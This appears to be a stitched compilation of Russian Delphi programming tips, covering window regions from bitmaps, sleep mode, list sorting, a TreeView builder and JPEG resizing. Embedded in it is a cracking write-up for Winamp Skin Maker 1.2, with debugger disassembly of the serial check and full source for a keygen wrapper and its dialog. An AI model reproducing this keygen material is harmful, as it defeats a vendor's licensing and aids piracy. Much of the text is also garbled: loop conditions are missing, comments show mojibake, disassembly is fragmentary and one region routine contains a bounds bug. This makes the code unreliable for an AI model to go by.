  bmiInfo.bmiHeader.biHeight:=H;           // высота
  bmiInfo.bmiHeader.biPlanes:=1;           // всегда 1
  bmiInfo.bmiHeader.biBitCount:=24;        // три байта на пиксель
  bmiInfo.bmiHeader.biCompression:=BI_RGB; // без компрессии
  bmiInfo.bmiHeader.biSizeImage:=0;        // размер не знаем, ставим в ноль
  bmiInfo.bmiHeader.biXPelsPerMeter:=2834; // пикселей на метр, гор.
  bmiInfo.bmiHeader.biYPelsPerMeter:=2834; // пикселей на метр, верт.
  bmiInfo.bmiHeader.biClrUsed:=0;          // палитры нет, все в ноль
  bmiInfo.bmiHeader.biClrImportant:=0;     // то же
  bmiInfo.bmiHeader.biSize:=SizeOf(bmiInfo.bmiHeader); // размер структруы
  bmDIB:=CreateDIBSection(DC, bmiInfo, DIB_RGB_COLORS,
  Pointer(lpBits), 0, 0);
  //создаем независимый растр WxHx24, без палитры, в указателе lpBits получаем
  //адрес первого байта этого растра. bmDIB - дискрептор растра
  //заполняем первые шесть членов BITMAPINFO для передачи в GetDIBits
  bmiInfo.bmiHeader.biWidth:=W;            // ширина
  bmiInfo.bmiHeader.biHeight:=H;           // высота
  bmiInfo.bmiHeader.biPlanes:=1;           // всегда 1
  bmiInfo.bmiHeader.biBitCount:=24;        // три байта на пиксель
  bmiInfo.bmiHeader.biCompression:=BI_RGB; // без компресси
  bmiInfo.bmiHeader.biSize:=SizeOf(bmiInfo.bmiHeader); // размер структуры
  GetDIBits(DC, Bitmap, 0, H-1, lpBits, bmiInfo, DIB_RGB_COLORS);
  //конвертируем исходный растр в наш с его копированием по адресу lpBits
  lpOldBits:=lpBits; //запоминаем адрес lpBits
  //первый проход - подсчитываем число прямоугольников, необходимых для
  //создания региона
  C:=0; //сначала ноль
  //проход снизу вверх
  for Y:=H-1 downto 0 do
  begin
    X:=0;
    //от 0 до ширины-1
    while Xdo
    begin
      //пропускаем прзрачный цвет, увеличивая координату и указатель
      while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
      lpBits.rgbtBlue)=TransClr) and (Xdo
      begin
        Inc(lpBits);
        X:=X+1;
      end;
      //если нашли не прозрачный цвет, то считаем, сколько точек в ряду он идет
      if RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
      lpBits.rgbtBlue)<>TransClr then
      begin
        while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
        lpBits.rgbtBlue)<>TransClr) and (Xdo
        begin
          Inc(lpBits);
          X:=X+1;
        end;
        //увиличиваем счетчик прямоугольников
        C:=C+1;
      end;
    end;
    //ряд закончился, необходимо увеличить указатель до кратности 4
    PChar(lpBits):=PChar(lpBits)+I;
  end;
  lpBits:=lpOldBits; //восстанавливаем значение lpBits
  //Заполняем структуру RGNDATAHEADER
  rdhInfo.iType:=RDH_RECTANGLES;     // будем использовать прямоугольники
  rdhInfo.nCount:=C;                 // их количество
  rdhInfo.nRgnSize:=0;               // размер выделяем памяти не знаем
  rdhInfo.rcBound:=Rect(0, 0, W, H); // размер региона
  rdhInfo.dwSize:=SizeOf(rdhInfo);   // размер структуры
  //выделяем память для струтуры RGNDATA:
  //сумма RGNDATAHEADER и необходимых на прямоугольников
  BufSize:=SizeOf(rdhInfo)+SizeOf(TRect)*C;
  GetMem(Buf, BufSize);
  //ставим указатель на выделенную память
  lpData:=Buf;
  //заносим в память RGNDATAHEADER
  lpData.rdh:=rdhInfo;
  //Заполдяенм память прямоугольниками
  lpRect:=@lpData.Buffer; //первый прямоугольник
  for Y:=H-1 downto 0 do
  begin
    X:=0;
    while Xdo
    begin
      while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
      lpBits.rgbtBlue)=TransClr) and (Xdo
      begin
        Inc(lpBits);
        X:=X+1;
      end;
      if RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
      lpBits.rgbtBlue)<>TransClr then
      begin
        F:=X;
        while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
        lpBits.rgbtBlue)<>TransClr) and (Xdo
        begin
          Inc(lpBits);
          X:=X+1;
        end;
        lpRect^:=Rect(F, Y, X, Y+1); //заносим координаты
        Inc(lpRect); //переходим к следующему
      end;
    end;
    PChar(lpBits):=PChar(lpBits)+I;
  end;
  //после окночания заполнения структуры RGNDATA можно создавать регион.
  //трансформации нам не нужны, ставим в nil, указываем размер
  //созданной структуры и ее саму.
  //создаем регион
  Result:=ExtCreateRegion(nil, BufSize, lpData^);
  //теперь структура RGNDATA больше не нужна, удаляем
  FreeMem(Buf, BufSize);
  //созданный растр тоже удаляем
  DeleteObject(bmDIB);
end;
end.

Исследование Winamp Skin Maker v1.2.

Оформил: DeeCo Автор: http://www.cracklab.narod.ru

--------------------------------------------------byte--------------PROT---(0)--
-вырезано-
-------------------------------------------------------------------------PROT32-
 -вырезано-
016F:00406D7A        MOV       EDI,[USER32!GetDlgItemTextA]       
016F:00406D80         PUSH      ESI                                
016F:00406D81 CALL    EDI  (То есть USER32!GetDlgItemTextA) Name>      
016F:00406D83  LEA       EAX,[ESP+38]                       
016F:00406D87   PUSH      29                                 
016F:00406D89   PUSH      EAX                                
016F:00406D8A  PUSH      000003FD                           
016F:00406D8F   PUSH      ESI                                
016F:00406D90 CALL      EDI (То есть USER32!GetDlgItemTextA) Our reg.#>  
016F:00406D92    LEA       EAX,[ESP+0C]                       
016F:00406D96       PUSH      EAX                                
016F:00406D97 CALL      00407E30                            
016F:00406D9C      ADD       ESP,04                            
016F:00406D9F       MOV       EBX,EAX           
------------------------------------SKINNER!.text+5D64--------------------------
Break due to BPX KERNEL!HMEMCPY  (ET=1.26 seconds)                              
:bc *                                                                           
:/Screendump C:\f1.dos

016F:00406DA1         LEA       EAX,[ESP+38]                      
016F:00406DA5         PUSH      EAX                                
016F:00406DA6  CALL  00407D00 
016F:00406DAB        ADD       ESP,04                             
016F:00406DAE         MOV       EDI,ЕАХТеперь в EDI результат (код)! 
016F:00406DB0          TEST      EDI,EDI        
016F:00406DB2           JNZ       00406DEB                            

016F:00406DEB    CMP    ED(наш>,EBX(правильный>  
016F:00406DED      JNZ       00406E24

016F:00406D97 CALL      00407E30 
016F:00406D9C      ADD       ESP,04
push eax
call Kernel32!ExitProcess

program Project1;
uses Windows, SysUtils, Messages; //необходимый миниму>
{$APPTYPE GUI} //У нас Gui-приложение>
{$R Icon.res} //иконку возьме>
{$R Dlg.res} //и диалог тож>
var
  rc: Cardinal; //код на>
  StartupInfo: TStartupInfo; //необ. с>
  ProcessInfo: TProcessInformation; //необ. с>
procedure StartProcess(hWnd: THandle); //процедура наш>
begin
  rc := 0;
  FillChar(StartupInfo, Sizeof(StartupInfo), #0); //заполняем с>
  StartupInfo.cb := Sizeof(StartupInfo);
  StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartupInfo.wShowWindow := SW_SHOWDEFAULT;
  CreateProcess(nil, Pchar('WSV1.20.KG.exe'), nil, nil, false,
    NORMAL_PRIORITY_CLASS, nil, nil, StartupInfo, ProcessInfo); //создаем процес>
  WaitforSingleObject(ProcessInfo.hProcess, INFINITE); //ждем завершени>
  GetExitCodeProcess(ProcessInfo.hProcess, rc); //получаем ко>
  if rc<
  >
  0 then
  begin
    SetDlgItemText(hWnd, 108, Pchar(IntToStr(rc)));
    SetDlgItemText(hWnd, 0, Pchar('Here is your Reg.#: '));
  end
  else //если кто-то не может ввести свое имя, то..>
    SetDlgItemText(hWnd, 108, Pchar('Incorrect name.'));
end;
function DialogProc(hWnd: THandle; Msg: Integer; wParam, lParam: Integer): Bool;
  stdcall;
begin
  if Msg = WM_INITDIALOG then
    RESULT := true //нужно для создания диалог>
  else if Msg = WM_CLOSE then
    ExitProcess(0) //если нас захотят закрыт>
  else if (Msg = WM_COMMAND) and (Wparam = 106) then //если нажали нашу кнопк>
  begin
    ShowWindow(hWnd, SW_Hide);
    StartProcess(hWnd);
    ShowWindow(hWnd, SW_Show);
  end
  else
    Result := false;
end;
//===========Не знаю зачем я это сделал================/>
procedure MessageBox(Wnd: Integer; Text: PChar; Caption: PChar; Typ: Integer);
  stdcall;
  external 'user32.dll' name 'MessageBoxA';
//=====================//
begin
  //А это официальное начало программы :-)>
  DialogBoxParam(GetModuleHandle(nil), PChar('DIALOG_0'), 0, @DialogProc, 0);
end.

/ * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  * * * * *
file: D: \SLAVAPROJECTS\DELPHI\SK_KG\DLG.RC
Generated by Resource Builder 1.0.
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  * * * * /
// Below are important 3 lines, don't change them!
/ *
OutputExt = RES
* /
DIALOG_0 DIALOG 127, 65, 180, 86
STYLE DS_ABSALIGN | DS_MODALFRAME | WS_VISIBLE | WS_SYSMENU | WS_MINIMIZEBOX |
  WS_POPUP |WS_CAPTION |WS_BORDER |WS_DLGFRAME
CAPTION "
KeyGen for Winamp Skin Maker 1.20 "
FONT 8, "
MS Sans Serif"
LANGUAGE LANG_NEUTRAL, 0
begin
  CONTROL "
  Start generating - >
  >
  "
  , 106, "
  BUTTON"
  , BS_PUSHBUTTON|WS_VISIBLE|WS_TABSTOP, 7, 62, 165, 20
    CONTROL "
Crack - type
  : KeyGen Author: wersion E - mail: wcrkgroup2002@mail.ru "
  , 65535, "
  STATIC"
  , BS_PUSHBUTTON|WS_VISIBLE|WS_TABSTOP, 10, 7, 159, 26
    CONTROL "
  "
  , 108, "
  EDIT"
  , BS_PUSHBUTTON|WS_VISIBLE|WS_TABSTOP|WS_BORDER, 92, 43, 83, 12
    CONTROL "
  Here will be your Reg.#0"
  , 65536, "
  STATIC"
  , BS_PUSHBUTTON|WS_VISIBLE|WS_TABSTOP, 11, 44, 75, 10
end

016F:00406B8E    JNZ       004068A6                        
016F:00406B94     MOV       ESI,[ESP+78]                      
                                
016F:00406B9A   PUSH      00406D00                           
016F:00406B9F    MOV       EAX,[0042FB70]                     
016F:00406BA4   PUSH      ESI                                
016F:00406BA5   PUSH      0000008A                           
016F:00406BAA  PUSH      EAX                                
016F:00406BAB  CALL      [USER32!DialogBoxParamA]

  50                  PUSH      EAX
016F:00401D14  56                  PUSH      ESI                                
016F:00401D15  E8B6010000          CALL      00401ED0

Setup=Start.exe 
Silent=1
Overwrite=1
TempMode

Переход в Спящий режим (WinNT).

Автор: DeMoN-777 WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Переход в Спящий режим (WinNT)
Зависимости: Windows, system
Автор:       DeMoN-777, DeMoN-777@yandex.ru, ICQ:169281983, Санкт-Петербург
Copyright:   @
Дата:        21 сентября 2002 г.
***************************************************** }
procedure NTSleep;
var
  hToken: THandle;
  tkp: TTokenPrivileges;
  ReturnLength: Cardinal;
begin
  if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or
    TOKEN_QUERY, hToken) then
  begin
    LookupPrivilegeValue(nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid);
    tkp.PrivilegeCount := 1; // one privelege to set
    tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
    if AdjustTokenPrivileges(hToken, False, tkp, 0, nil, ReturnLength) then
      SetSystemPowerState(true, true);
  end;
end;

Пропускать сообщения от клавиатуры и мышки в своем приложении.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
 Connect a handler to the Application.OnMessage event. 
 You have to do this in code: 
}
   private
     procedure AppOnMessage(var Msg: TMsg; var Handled: Boolean);
     { Private declarations }
   public
     { Public declarations }
   end;
    var
   Form1: TForm1;
 implementation
 {$R *.dfm}
 var
   FConnected: Boolean;
 procedure TForm1.AppOnMessage(var Msg: TMsg; var Handled: Boolean);
 begin
   if FConnected then
     case Msg.Message of
       WM_KEYFIRST..WM_KEYLAST,     // Keyboard events 
      WM_MOUSEFIRST..WM_MOUSELAST: // Mouse events 
        Handled := True
     end;
 end;
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   Application.OnMessage := AppOnMessage;
 end;
 procedure TForm1.FormDestroy(Sender: TObject);
 begin
   Application.OnMessage := nil;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   FConnected := True;
 end;

Очень медленный доступ к таблице при первом обращении.

ПРИМЕЧАНИЕ:При любом изменении структуры таблицы Вам придется удалять кэш вручную. Имя файла, в котором хранится кэш, Вы можете узнать, посмотрев в любом текстовом редакторе файл SCache.INI.

Получить путь к выделенному файлу в TShellListView.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

// These two solutions don't work: 
// Diese zwei Losungen funktionieren nicht wie erwartet: 
{ 1. }
 Label1.Caption := TShellFolder(ShellListView1.RootFolder).PathName;
 { 2. }
 var
   p: TPoint;
   item: TListItem;
 begin
   GetCursorPos(p);
   p := ShellListView1.ScreenToClient(p);
   item := ShellListView1.GetItemAt(p.X, p.Y);
   if item <> nil then
     Caption := item.Caption
 end;
 // But this works: 
// Aber so geht's: 
Label1.Caption := ShellListView1.Folders[ShellListView1.ItemIndex].PathName
 {**************************************************************}
 { 
  To retrieve full paths to each file selected files: 
}
 var
   path: string;
 begin
   for i:=0 to ShellListView1.SelCount-1 do
   begin
     path := ShellListView1.Folders[ShellListView1.GetNextItem(ShellListView1.Selected,
               sdAll,[isSelected]).Index+i-1].PathName;
     // ... 
  end;
 end

Сортировать TStringList своим методом сортировки.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  Suppose you have a TListBox containing some date values. 
  If you want to sort the dates by setting the "Sorted" 
  property to "True" you will see that the dates are not sorted correctly: 
  12.03.2003 
  13.03.2003 
  29.01.2003 
  30.03.2003 
  Now what you can do is to is create a TStringlist, Assign the listbox.Items 
  property to it, sort the stringlist using CustomSort, 
  then Assign it back to listbox.items. 
}
 { 
  Angenommen du hast eine TListBox, welche verschiedene Daten enthalt. 
  Wenn man nun die Liste sortiert haben mochte, kann man die Eigenschaft 
  "Sorted" auf "True" stellen. 
  Man wird aber feststellen, dass die Daten nicht korrekt sortiert werden. 
  12.03.2003 
  13.03.2003 
  29.01.2003 
  30.03.2003 
  Wenn man nun eine TStringlist erstellt und ihr die Listbox.Items zuweist, 
  kann man die StringListe mit einer CustomSort Methode sortieren und 
  dann den Listbox.Items wieder die Items der StringListe zuweisen. 
}
 function CompareDates(List: TStringList; Index1, Index2: Integer): Integer;
 var
   d1, d2: TDateTime;
 begin
   d1 := StrToDate(List[Index1]);
   d2 := StrToDate(List[Index2]);
   if d1 < d2 then
     Result := -1
   else if d1 > d2 then Result := 1
   else
     Result := 0;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   sl: TStringList;
 begin
   sl := TStringList.Create;
   try
     // listbox1.Sorted := False ! 
    sl.Assign(listbox1.Items);
     sl.CustomSort(CompareDates);
     listbox1.Items.Assign(sl);
   finally
     sl.Free
   end;
 end;
 end.
 {********************************************************************}
 { To sort Integer values:}
 function CompareInt(List: TStringList; Index1, Index2: Integer): Integer;
 var
   d1, d2: Integer;
   r1, r2: Boolean;
   function IsInt(AString : string; var AInteger : Integer): Boolean;
   var
     Code: Integer;
   begin
     Val(AString, AInteger, Code);
     Result := (Code = 0);
   end;
 begin
   r1 :=  IsInt(List[Index1], d1);
   r2 :=  IsInt(List[Index2], d2);
   Result := ord(r1 or r2);
   if Result <> 0 then
   begin
     if d1 < d2 then
       Result := -1
     else if d1 > d2 then
       Result := 1
     else
      Result := 0;
   end else
    Result := lstrcmp(PChar(List[Index1]), PChar(List[Index2]));
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   sl: TStringList;
 begin
   sl := TStringList.Create;
   try
     // listbox1.Sorted := False; 
    sl.Assign(listbox1.Items);
     sl.CustomSort(CompareInt);
     listbox1.Items.Assign(sl);
   finally
     sl.Free;
   end;
 end;

TStringList. Сортировка и системная locale.

Автор: Alexander Ilyin.

Оказалось, дело в текущем locale. Так работает сортированный TStringList, использованный для хранения структур отображаемых данных. Дело в том, что там для упорядочивания элементов списка по ключам использована функция AnsiCompareText (а не AnsiCompareStr, как указано в хелпе).

Действительно, в справке Delphi по TStringList указано, что для сортировки используется AnsiCompareStr, и порядок сортировки зависит от текущей локали во время работы программы. Анализ текста Classes.pas показывает, что все операции сравнения строк в списках (при сортировке по-умолчанию, при поиске, а также при IndexOf) производятся при помощи AnsiCompareText. Последняя отличается от AnsiCompareStr тем, что выполняет сравнение без учета регистра символов, и, следовательно, результат иным образом зависит от текущей локали.

Перевод списка файлов и каталогов из TStringList в TreeView с построением дерева каталогов.

Автор: Радионов Алексей WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Перевод списка файлов/каталогов из TStringList в
TreeView с построением "дерева каталогов"
Иногда бывает нужно построить "дерево каталогов" по
заданному списку файлов и папок (причем физически
эти файлы и каталоги могут не существовать).
Представляемый здесь код занимается именно этим.
Зависимости: sysutils, classes, comctrls
Автор:       Радионов Алексей (Alx2), alx@argo.mv.ru, ICQ:113442587, Ульяновск
Copyright:   Alx2
Дата:        3 июля 2002 г.
***************************************************** }
procedure FillTreeViewWithFiles(TreeView1: TTreeView; Strs: TStringList);
var
  CachedStrs: TStringList; // CachedStrs вводится для ускорения поиска
  // в уже готовом дереве.
  procedure AddItem(Lev: Integer; ParentNode: TTreeNode; S: string);
    function FindNodeWithText(AParent: TTreeNode; const S: string): TTreeNode;
    var
      K: Integer;
      fStr: string;
      tmpNode: TTreeNode;
    begin
      Result := nil;
      fStr := S + IntToStr(Integer(AParent));
      K := CachedStrs.IndexOf(fStr);
      if K > -1 then
        Result := Pointer(CachedStrs.Objects[K])
      else
      begin
        if AParent <> nil then
          tmpNode := AParent.getFirstChild
        else
          tmpNode := TreeView1.Items.GetFirstNode;
        while tmpNode <> nil do
        begin
          if tmpNode.Text = S then
          begin
            Result := tmpNode;
            CachedStrs.AddObject(fStr, Pointer(tmpNode));
            break;
          end;
          tmpNode := tmpNode.getNextSibling;
        end;
      end
    end;
  var
    prefix: string;
    ID: Integer;
    aNode: TTreeNode;
  begin
    if S = '' then
      Exit;
    ID := Pos('\', S);
    prefix := '';
    if ID > 0 then
      prefix := Copy(S, 1, ID - 1)
    else
    begin
      prefix := S;
      S := '';
    end;
    aNode := FindNodeWithText(ParentNode, prefix);
    if aNode = nil then
    begin
      aNode := TreeView1.Items.AddChild(ParentNode, prefix);
    end;
    AddItem(Lev + 1, aNode, Copy(S, ID + 1, Length(S)));
  end;
var
  K: Integer;
begin
  CachedStrs := TStringList.Create;
  CachedStrs.Duplicates := dupIgnore;
  CachedStrs.Sorted := True;
  try
    TreeView1.Items.BeginUpdate;
    TreeView1.SortType := stNone;
    for K := 0 to Strs.Count - 1 do
      AddItem(0, nil, Strs[K]);
  finally
    TreeView1.Items.EndUpdate;
    CachedStrs.Free;
  end;
end;

Пример использования:

// Построим, например, "дерево каталогов" по трем файлам:
procedure TForm1.Button1Click(Sender: TObject);
var
  Strs: TStringList;
begin
  Strs := TStringList.Create;
  try
    Strs.Add('D:\Program Files\Borland\Delphi6\Source\Vcl\Printers.dcu');
    Strs.Add('D:\Program Files\Borland\Delphi6\Source\Vcl\WinHelp.dcu');
    Strs.Add('C:\WINNTS\system\BORLNDMM.DLL');
    FillTreeViewWithFiles(TreeView1, Strs);
  finally
    Strs.Free;
  end;
end;

Создание уменьшенной копии картинки.

// Muito bom para se usar como Skins...
unit ProjetoX_Screen;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls, StdCtrls, DBCtrls;
type
  TFormScreen = class(TForm)
    ImgFundo: TImage;
    procedure FormCreate(Sender: TObject);
  public
    { Public declarations }
    MyRegion : HRGN;
    function BitmapToRegion(hBmp: TBitmap; TransColor: TColor): HRGN;
  end;
var
  FormScreen: TFormScreen;
implementation
{$R *.DFM}
{===========================molda o formato do fогmи1Ягiо no bitmap}
function TFormScreen.BitmapToRegion(hBmp: TBitmap; TransColor: TColor): HRGN;
const
  ALLOC_UNIT = 100;
var
  MemDC, DC: HDC;
  BitmapInfo: TBitmapInfo;
  hbm32, holdBmp, holdMemBmp: HBitmap;
  pbits32 : Pointer;
  bm32 : BITMAP;
  maxRects: DWORD;
  hData: HGLOBAL;
  pData: PRgnData;
  b, CR, CG, CB : Byte;
  p32: pByte;
  x, x0, y: integer;
  p: pLongInt;
  pr: PRect;
  h: HRGN;
begin
  Result := 0;
  if hBmp <> nil then
  begin
    { Cria um Device Context onde sегЯ armazenado o Bitmap }
    MemDC := CreateCompatibleDC(0);
    if MemDC <> 0 then
    begin
     { Cria um Bitmap de 32 bits sem соmргеssТо }
      with BitmapInfo.bmiHeader do
      begin
        biSize          := sizeof(TBitmapInfoHeader);
        biWidth         := hBmp.Width;
        biHeight        := hBmp.Height;
        biPlanes        := 1;
        biBitCount      := 32;
        biCompression   := BI_RGB;
        biSizeImage     := 0;
        biXPelsPerMeter := 0;
        biYPelsPerMeter := 0;
        biClrUsed       := 0;
        biClrImportant  := 0;
      end;
      hbm32 := CreateDIBSection(MemDC, BitmapInfo, DIB_RGB_COLORS, pbits32,0, 0);
      if hbm32 <> 0 then
      begin
        holdMemBmp := SelectObject(MemDC, hbm32);
        {
          Calcula quantos bytes por linha o bitmap de 32 bits ocupa.
        }
        GetObject(hbm32, SizeOf(bm32), @bm32);
        while (bm32.bmWidthBytes mod 4) > 0 do
          inc(bm32.bmWidthBytes);
        DC := CreateCompatibleDC(MemDC);
        { Copia o bitmap para o Device Context }
        holdBmp := SelectObject(DC, hBmp.Handle);
        BitBlt(MemDC, 0, 0, hBmp.Width, hBmp.Height, DC, 0, 0, SRCCOPY);
        {
          Para melhor performance, sегЯ utilizada a fиnюТо ExtCreasteRegion
          para criar o HRGN. Esta fиnюТо recebe uma estrutura RGNDATA.
          Cada estrutura tегЯ 100 геtФngи1оs por раdгТо (ALLOC_UNIT)
        }
        maxRects := ALLOC_UNIT;
        hData := GlobalAlloc(GMEM_MOVEABLE, sizeof(TRgnDataHeader) +
           SizeOf(TRect) * maxRects);
        pData := GlobalLock(hData);
        pData^.rdh.dwSize := SizeOf(TRgnDataHeader);
        pData^.rdh.iType := RDH_RECTANGLES;
        pData^.rdh.nCount := 0;
        pData^.rdh.nRgnSize := 0;
        SetRect(pData^.rdh.rcBound, MaxInt, MaxInt, 0, 0);
        { Separa o pixel em suas cores fundamentais }
        CR := GetRValue(ColorToRGB(TransColor));
        CG := GetGValue(ColorToRGB(TransColor));
        CB := GetBValue(ColorToRGB(TransColor));
        {
          Processa os pixels bitmap de baixo para cima, jЯ que bitmaps sТо
          verticalmente invertidos.
        }
        p32 := bm32.bmBits;
        inc(PChar(p32), (bm32.bmHeight - 1) * bm32.bmWidthBytes);
        for y := 0 to hBmp.Height-1 do
        begin
          { Processa os pixels do bitmap da esquerda para a direita }
          x := -1;
          while x+1 < hBmp.Width do
          begin
            inc(x);
            { Procura por uma faixa соntЭnиа de pixels nТо transparentes }
            x0 := x;
            p := PLongInt(p32);
            inc(PChar(p), x * SizeOf(LongInt));
            while x < hBmp.Width do
            begin
              b := GetBValue(p^);
              if (b = CR) then
              begin
                b := GetGValue(p^);
                if (b = CG) then
                begin
                  b := GetRValue(p^);
                  if (b = CB) then
                    break;
                end;
              end;
              inc(PChar(p), SizeOf(LongInt));
              inc(x);
            end;
            if x > x0 then
            begin
              {
                Adiciona o intervalo de pixels [(x0, y),(x, y+1)] como um novo
                геtФngи1о na геgiТо.
              }
              if pData^.rdh.nCount >= maxRects then
              begin
                GlobalUnlock(hData);
                inc(maxRects, ALLOC_UNIT);
                hData := GlobalReAlloc(hData, SizeOf(TRgnDataHeader) +
                   SizeOf(TRect) * maxRects, GMEM_MOVEABLE);
                pData := GlobalLock(hData);
                Assert(pData <> NIL);
              end;
              pr := @pData^.Buffer[pData^.rdh.nCount * SizeOf(TRect)];
              SetRect(pr^, x0, y, x, y+1);
              if x0 < pData^.rdh.rcBound.Left then
                pData^.rdh.rcBound.Left := x0;
              if y < pData^.rdh.rcBound.Top then
                pData^.rdh.rcBound.Top := y;
              if x > pData^.rdh.rcBound.Right then
                pData^.rdh.rcBound.Left := x;
              if y+1 > pData^.rdh.rcBound.Bottom then
                pData^.rdh.rcBound.Bottom := y+1;
              inc(pData^.rdh.nCount);
              {
               No Windows98, a fиnюТо ExtCreateRegion() pode falhar se o n·mero
               de геtФngи1оs for maior que 4000. Por este motivo, a геgiТо deve
               ser criada por partes com menos de 4000 геtФngи1оs. Neste caso, foram
               padronizadas regi§es com 2000 геtФngи1оs.
              }
              if pData^.rdh.nCount = 2000 then
              begin
                h := ExtCreateRegion(NIL, SizeOf(TRgnDataHeader) +
                   (SizeOf(TRect) * maxRects), pData^);
                Assert(h <> 0);
               { Combina a геgiТо parcial, гесЪm criada, com as anteriores }
                if Result <> 0 then
                begin
                  CombineRgn(Result, Result, h, RGN_OR);
                  DeleteObject(h);
                end else
                  Result := h;
                pData^.rdh.nCount := 0;
                SetRect(pData^.rdh.rcBound, MaxInt, MaxInt, 0, 0);
              end;
            end;
          end;
          Dec(PChar(p32), bm32.bmWidthBytes);
        end;
        { Cria a геgiТо geral }
        h := ExtCreateRegion(NIL, SizeOf(TRgnDataHeader) +
           (SizeOf(TRect) * maxRects), pData^);
        Assert(h <> 0);
        if Result <> 0 then
        begin
          CombineRgn(Result, Result, h, RGN_OR);
          DeleteObject(h);
        end else
          Result := h;
        { Com a геgiТо final completa, o bitmap de 32 bits pode ser
          removido da mem¾ria, com todos os outros ponteiros que foram criados.}
        GlobalFree(hData);
        SelectObject(DC, holdBmp);
        DeleteDC(DC);
        DeleteObject(SelectObject(MemDC, holdMemBmp));
      end;
    end;
    DeleteDC(MemDC);
  end;
end;
procedure TFormScreen.FormCreate(Sender: TObject);
begin
{carregue uma imagem na TImage ImgFundo}
{redesenha o formulario no formato do ImgFundo}
        MyRegion := BitmapToRegion(imgFundo.Picture.Bitmap,imgFundo.Canvas.Pixels[0,0]);
        SetWindowRgn(Handle,MyRegion,True);
end;
Para os outros fогmи1Ягiоs basta declarar as seguintes linhas na procedure FormCreate
procedure TFormXXXXXX.FormCreate(Sender: TObject);
begin
{carregue uma imagem na TImage ImgFundo}
{redesenha o formulario no formato do ImgFundo}
        FormScreen.MyRegion := FormScreen.BitmapToRegion(imgFundo.Picture.Bitmap,
          imgFundo.Canvas.Pixels[0,0]);
        SetWindowRgn(Handle,FormScreen.MyRegion,True);
end;

Написать очень маленький инсталлятор.

Мне понравился следующий вариант: главное приложение само выполняет функции инсталлятора. Первоначально файл называется Setup.exe. При запуске под этим именем приложение устанавливает себя, после установки программа переименовывает себя и перестает быть инсталлятором.

Application.Initialize;
if UpperCase(ExtractFileName(Application.ExeName))='SETUP.EXE' then
  // форма инсталлятора
  Application.CreateForm(TSetupForm, SetupForm)
else
  // форма основной программы
  Application.CreateForm(TMainForm, MainForm);
Application.Run;

Вполне очевидно, что вместо переименования можно запускать программу с различными ключами, например /INSTALL и /UNINSTALL. Я очень часто пользуюсь таким приемом, особенно в тех случаях, когда проект состоит из одного файла.

Сглажено изменять размер JPEG.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  Before importing an image (jpg) into a database, 
  I would like to resize it (reduce its size) and 
  generate the corresponding smaller file. How can I do this? 
  Load the JPEG into a bitmap, create a new bitmap 
  of the size that you want and pass them both into 
  SmoothResize then save it again ... 
  there's a neat routine JPEGDimensions that 
  gets the JPEG dimensions without actually loading the JPEG into a bitmap, 
  saves loads of time if you only need to test its size before resizing. 
}
 uses
   JPEG;
 type
   TRGBArray = array[Word] of TRGBTriple;
   pRGBArray = ^TRGBArray;
 {--------------------------------------------------------------------------- 
-----------------------}
 procedure SmoothResize(Src, Dst: TBitmap);
 var
   x, y: Integer;
   xP, yP: Integer;
   xP2, yP2: Integer;
   SrcLine1, SrcLine2: pRGBArray;
   t3: Integer;
   z, z2, iz2: Integer;
   DstLine: pRGBArray;
   DstGap: Integer;
   w1, w2, w3, w4: Integer;
 begin
   Src.PixelFormat := pf24Bit;
   Dst.PixelFormat := pf24Bit;
   if (Src.Width = Dst.Width) and (Src.Height = Dst.Height) then
     Dst.Assign(Src)
   else
   begin
     DstLine := Dst.ScanLine[0];
     DstGap  := Integer(Dst.ScanLine[1]) - Integer(DstLine);
     xP2 := MulDiv(pred(Src.Width), $10000, Dst.Width);
     yP2 := MulDiv(pred(Src.Height), $10000, Dst.Height);
     yP  := 0;
     for y := 0 to pred(Dst.Height) do
     begin
       xP := 0;
       SrcLine1 := Src.ScanLine[yP shr 16];
       if (yP shr 16 < pred(Src.Height)) then
         SrcLine2 := Src.ScanLine[succ(yP shr 16)]
       else
         SrcLine2 := Src.ScanLine[yP shr 16];
       z2  := succ(yP and $FFFF);
       iz2 := succ((not yp) and $FFFF);
       for x := 0 to pred(Dst.Width) do
       begin
         t3 := xP shr 16;
         z  := xP and $FFFF;
         w2 := MulDiv(z, iz2, $10000);
         w1 := iz2 - w2;
         w4 := MulDiv(z, z2, $10000);
         w3 := z2 - w4;
         DstLine[x].rgbtRed := (SrcLine1[t3].rgbtRed * w1 +
           SrcLine1[t3 + 1].rgbtRed * w2 +
           SrcLine2[t3].rgbtRed * w3 + SrcLine2[t3 + 1].rgbtRed * w4) shr 16;
         DstLine[x].rgbtGreen :=
           (SrcLine1[t3].rgbtGreen * w1 + SrcLine1[t3 + 1].rgbtGreen * w2 +
           SrcLine2[t3].rgbtGreen * w3 + SrcLine2[t3 + 1].rgbtGreen * w4) shr 16;
         DstLine[x].rgbtBlue := (SrcLine1[t3].rgbtBlue * w1 +
           SrcLine1[t3 + 1].rgbtBlue * w2 +
           SrcLine2[t3].rgbtBlue * w3 +
